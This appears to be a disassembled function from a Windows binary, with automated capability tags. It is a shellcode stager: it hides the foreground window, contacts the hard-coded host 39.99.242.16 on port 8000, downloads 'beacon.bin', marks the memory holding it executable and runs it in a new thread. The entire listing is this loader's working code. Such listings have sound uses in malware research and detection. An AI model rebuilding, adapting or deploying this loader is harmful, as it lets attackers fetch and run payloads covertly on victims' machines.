Function at 0x4019f4
Capabilities:
Hide graphical window
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
call fcn.00401f20
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, 0
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x9c], 0
mov dword [rsp + 0x98], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.WinHTTP_Example_1.0
call sub.WINHTTP.dll_WinHttpOpen
mov r15, rax
test rax, rax
je 0x401d03
mov r9d, 0
mov r8d, 0x1f40
lea rdx, str.39.99.242.16
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rsp + 0x68], rax
test rax, rax
je 0x401e25
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.beacon.bin
lea rdx, [0x00405058]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov r12, rax
test rax, rax
je 0x401d0f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
test eax, eax
je 0x401d0f
mov edx, 0
mov rcx, r12
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov ebx, eax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rdx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x88]
mov r8d, 0
mov rcx, 0xffffffffffffffff
call fcn.0040189d
mov rsi, qword [rsp + 0x90]
test ebx, ebx
je 0x401c01
lea r14, [rsp + 0x9c]
lea r13, [rsp + 0x98]
mov dword [rsp + 0x9c], 0
mov rdx, r14
mov rcx, r12
call sub.WINHTTP.dll_WinHttpQueryDataAvailable
mov edi, dword [rsp + 0x9c]
lea ebp, [rdi + 1]
mov edx, 1
mov rcx, rbp
call sub.msvcrt.dll_calloc
mov rbx, rax
mov r8, rbp
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov r9, r13
mov r8d, edi
mov rdx, rbx
mov rcx, r12
call sub.WINHTTP.dll_WinHttpReadData
mov r8d, dword [rsp + 0x9c]
mov rdx, rbx
mov rcx, rsi
call fcn.004019b0
mov edi, dword [rsp + 0x9c]
mov eax, edi
add rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
test edi, edi
jne 0x401b85
mov dword [rsp + 0x84], 0
lea rdx, [rsp + 0x90]
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x88]
mov rcx, 0xffffffffffffffff
call fcn.004018df
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x78], r9
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.00401921
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.00401963
mov rcx, r12
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x401cdd
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
test r15, r15
je 0x401cea
mov rcx, r15
call sub.WINHTTP.dll_WinHttpCloseHandle
mov eax, 0
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r12, rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rsi, [rsp + 0x88]
lea rbx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov r9, rsi
mov r8d, 0
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.0040189d
mov dword [rsp + 0x84], 0
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.004018df
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x78], r9
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.00401921
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.00401963
test r12, r12
je 0x401ccb
jmp 0x401cc3
mov r12d, 0
jmp 0x401d0f